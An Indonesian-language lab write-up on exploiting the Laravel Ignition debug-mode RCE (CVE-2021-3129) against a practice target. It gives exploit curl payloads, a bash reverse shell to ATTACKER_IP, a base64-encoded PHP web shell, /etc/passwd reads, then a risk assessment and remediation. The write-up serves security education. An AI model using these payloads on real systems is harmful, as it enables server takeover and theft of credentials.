Laravel - Debug Mode RCE (CVE-2021-3129)
Target:
laravel-vuln.vuln.cybersecurity.or.id
Level: Intermediate
Objective
Mendapatkan Remote Code Execution (RCE) pada
aplikasi Laravel yang menjalankan debug mode
(APP_DEBUG=true) dengan mengeksploitasi
kerentanan pada Ignition debug stack
(CVE-2021-3129).
Reconnaissance
1. Deteksi Framework Laravel
Lakukan fingerprinting untuk mendeteksi Laravel:
curl -I http://laravel-vuln.vuln.cybersecurity.or.id
Ciri khas Laravel:
- Header
Set-Cookiedenganlaravel_session - Halaman default Laravel di
/ - Endpoint khas:
/api,/_ignition,/artisan
2. Deteksi Ignition Debug Page
Ignition adalah debug page untuk Laravel yang hadir sebagai package default. Cek endpoint health-check:
curl -v http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/health-check
Response sukses (200 OK): Ignition terinstal dan aktif.
Response yang diharapkan:
{"status": "OK", "can_execute_commands": true}
3. Konfirmasi Versi
Periksa header response untuk versi Laravel:
curl -sI http://laravel-vuln.vuln.cybersecurity.or.id | grep -i "x-powered-by\|server"
Jika menggunakan Laravel 8 dengan Ignition < 2.5.2, sistem rentan terhadap CVE-2021-3129.
Exploitation
Langkah 1: Pahami CVE-2021-3129
CVE-2021-3129 adalah kerentanan RCE pada Ignition (package debug Laravel). Kerentanan terletak pada endpoint:
POST /_ignition/execute-solution
Parameter solution dan parameters dapat
dimanipulasi untuk mengeksekusi kode PHP secara remote melalui
variable passthru dan file
inclusion via log.
Langkah 2: Kirim Payload RCE
Gunakan eksploitasi melalui endpoint execute-solution:
curl -X POST http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/execute-solution \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "system",
"viewFile": "php://filter/convert.base64-encode/resource=<?php system(\"id\"); die(); ?>"
}
}'
Atau menggunakan teknik log poisoning + phar deserialization:
curl -X POST http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/execute-solution \
-H "Content-Type: application/json" \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "alfarisiazmir",
"viewFile": "laravel.log"
}
}'
Langkah 3: Otomatisasi dengan Script
Gunakan exploit script publik untuk CVE-2021-3129:
# Clone exploit
git clone https://github.com/ambionics/lightyear.git
cd lightyear
# Run exploit
python3 lightyear.py --target http://laravel-vuln.vuln.cybersecurity.or.id --command "id"
Langkah 4: Eksekusi Perintah
Setelah exploit berhasil, eksekusi berbagai perintah:
Cek user:
http://laravel-vuln.vuln.cybersecurity.or.id/?cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Cek OS:
http://laravel-vuln.vuln.cybersecurity.or.id/?cmd=uname -a
Baca file sensitif:
http://laravel-vuln.vuln.cybersecurity.or.id/?cmd=cat /etc/passwd
Dapatkan reverse shell:
bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
Alternatif: Manual Exploit via Log Injection
Jika endpoint execute-solution tidak langsung bekerja,
gunakan metode log injection:
- Inject kode PHP ke error log:
curl -X POST http://laravel-vuln.vuln.cybersecurity.or.id/_ignition/execute-solution \
-d '{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "system('echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /var/www/html/shell.php'); die();",
"viewFile": "laravel.log"
}
}'
- Akses shell:
http://laravel-vuln.vuln.cybersecurity.or.id/shell.php?cmd=id
Evidence
| Langkah | Bukti |
|---|---|
| Deteksi Ignition | /_ignition/health-check mengembalikan
{"status": "OK"} |
RCE via ?cmd=id |
Output: uid=33(www-data) gid=33(www-data)
|
uname -a |
Informasi kernel dan OS server |
| Web shell terupload | File shell.php dapat diakses dan
mengeksekusi perintah |
️ Risk Assessment
CVSS 9.8 (Critical)
- CVSS Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - CVE: CVE-2021-3129
- OWASP Top 10: A06:2021 - Vulnerable and Outdated Components
- Attack Vector: Network (Remote)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact: Complete compromise of Confidentiality, Integrity, and Availability
Dampak Spesifik:
- Full server takeover pada aplikasi Laravel
- Akses ke file
.envyang berisi database credentials, API keys, dan APP_KEY - Akses ke storage dan queue worker
- Pivot ke internal network dari server target
️ Remediation
1. Nonaktifkan Debug Mode (WAJIB)
Ini adalah langkah paling kritis:
# Di file .env
APP_DEBUG=false
APP_ENV=production
2. Update Ignition Package
Pastikan menggunakan Ignition versi terbaru yang sudah di-patch:
composer update facade/ignition --with-dependencies
Versi aman: Ignition >= 2.5.2
3. Implementasi WAF
Blokir akses ke endpoint sensitif:
# Nginx
location ~* /_ignition {
deny all;
return 403;
}
4. Environment Hardening
- Hapus package development di production:
composer install --no-dev
- Gunakan environment variable untuk APP_KEY yang kuat
- Batasi akses jaringan ke server hanya dari IP yang diperlukan
5. Monitoring & Detection
- Monitor log akses untuk pattern eksploitasi Ignition
- Alerting untuk request mencurigakan ke
/_ignition/*